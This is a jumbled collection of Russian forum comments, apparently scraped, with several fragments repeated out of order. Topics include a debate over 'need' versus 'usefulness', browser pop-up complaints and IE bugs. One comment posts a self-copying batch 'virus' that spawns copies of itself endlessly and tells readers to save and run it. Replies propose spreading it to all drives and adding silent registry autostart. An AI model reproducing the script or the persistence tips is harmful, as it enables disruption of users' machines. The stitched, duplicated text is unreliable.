Если что-то не полезно - оно, в лучшем случае - нейтрально, а вероятно - вредно. Как оно может быть нужным? ps. то, что критерий полезности можно рассмотреть с разных сторон - вопрос совершенно отдельный.
Это понятно. Непонятно следующее : - если что-то нужно - очевидно, оно принесёт какую-то пользу (обратное неверно, да). - если же что-то "не полезно" - то вступает в противоречие с первым пунктом.
наркоману нужна доза, а то его ломает уже. Она ему действительно нужна? О, несомненно, он убить за неё готов. А полезна она? Вряд ли, иначе наркоманию не считали бы болезненной зависимостью и не лечили бы.
А я нигде не писал о критериях полезности? (подсказка - на пару комментариев выше).
Если мы рассматриваем полезность со стороны общества - то : - нужным будет считаться его лечение (тут должна быть шутка про то, оправдает ли он затраты) - не медик, и в алгоритмах лечения не разбираюсь, но, вероятно - он не захочет после её получения отправить лечиться. Таким образом, с точки зрения общества, она, вероятно, не нужна и вредна
С его же точки зрения - в краткосрочной перспективе она как нужна, так и полезна, в долгосрочной же - см. "со стороны общества"
Дабы у какой-либо интересной личности не возникло иллюзий - под полезностью в краткосрочной перспективе я подразумеваю снятие "ломки" и ничего больше . Из такой "полезности" проистекает и "нужность" в этой же краткосрочной перспективе. Или я ошибаюсь?
И да, на всякий случай, дополняя прошлый комментарий, обосновать нужность краткосрочной перспективой, а полезность (точнее вред) - долгосрочной, ИМХО - будет весьма странным приёмом.
Не обязательно. Если очень захотеть, то можно сделать окно которое всегда будет выглядеть классически. Но тут скорее всего видео просто сделано из разных картинок в редакторе.
У меня давече на "некоторых" сайтах начало открываться всплывающее окно с рекламой требующей установки определенного разширения для chrome. Это окно и сам хром никак иначе окромя всесильного диспетчера задач не закрыть. Окаянный nod smart security 8 никак на это не реагирует. Что ж это за ужось твориться? Сталкивался ли кто?
Продолжаю ловить баг от IE (и это 10-я версия в эпоху Win7!) когда в Firefox мажу по пункту "Сохранить изображение как" и попадаю во что-то про электронную почту. Окна осла начинают лезть не переставая.
В нулевых - имя файла же можно получить как первый (или нулевой?) параметр командной строки, дабы оно не зависело от текущего имени). Во первых - писать стоит в пользовательский профиль (это я к C:. Для других дисков сложнее определить незащищённый правами путь, да). Во вторых - ИМХО, как говорится, "помирать - так с музыкой". ЕМНИП, можно допилить 2 вещи : 1) пройтись циклом по всем дискам (не факт, что возможно, но тогда можно просто записать те же инструкции линейно) 2) ЕМНИП, regedit позволяет втихую импортировать данные файла в реестр. Т.е. можно добавить автостарт.
Короче говоря - не удивлён тому, что малварь таки пошла хреновая (я уже молчу про то, что основная её масса - трояны :-) ). з.ы. таки да, я придираюсь.
Хотя на самом деле я и сам ступил - пользовательский профиль, как и вся винда, ЕМНИП, может находиться отличном от C: диске. Но это не типовая ситуация, к тому же - мы получим профиль из переменной окружения (т.е. путь всё равно нельзя захардкодить)
И как оно должно помочь? Вероятно, проблема не в винде, а в прикладном софте. Т.е., как минимум, полное избавление от этих проблем не видится реальным и как-то связанным с ОС, ИМХО.
ps. то, что критерий полезности можно рассмотреть с разных сторон - вопрос совершенно отдельный.
- если что-то нужно - очевидно, оно принесёт какую-то пользу (обратное неверно, да).
- если же что-то "не полезно" - то вступает в противоречие с первым пунктом.
А полезна она? Вряд ли, иначе наркоманию не считали бы болезненной зависимостью и не лечили бы.
Если мы рассматриваем полезность со стороны общества - то :
- нужным будет считаться его лечение (тут должна быть шутка про то, оправдает ли он затраты)
- не медик, и в алгоритмах лечения не разбираюсь, но, вероятно - он не захочет после её получения отправить лечиться.
Таким образом, с точки зрения общества, она, вероятно, не нужна и вредна
С его же точки зрения - в краткосрочной перспективе она как нужна, так и полезна, в долгосрочной же - см. "со стороны общества"
Но тут скорее всего видео просто сделано из разных картинок в редакторе.
Сижу вот пароли меняю.
@Echo off
color 2
title ADSKYY VIRUS!
copy 1.bat C:\
copy 1.bat D:\
:1
dir c:
dir d:
start C:\1.bat
start D:\1.bat
goto 1
-> Сохранить .bat, запустить.
Во первых - писать стоит в пользовательский профиль (это я к C:. Для других дисков сложнее определить незащищённый правами путь, да).
Во вторых - ИМХО, как говорится, "помирать - так с музыкой". ЕМНИП, можно допилить 2 вещи :
1) пройтись циклом по всем дискам (не факт, что возможно, но тогда можно просто записать те же инструкции линейно)
2) ЕМНИП, regedit позволяет втихую импортировать данные файла в реестр. Т.е. можно добавить автостарт.
Короче говоря - не удивлён тому, что малварь таки пошла хреновая (я уже молчу про то, что основная её масса - трояны :-) ).
з.ы. таки да, я придираюсь.
p.s. и в mac os.
p.s.2. да и в kolibri тоже получится.
Куда валить?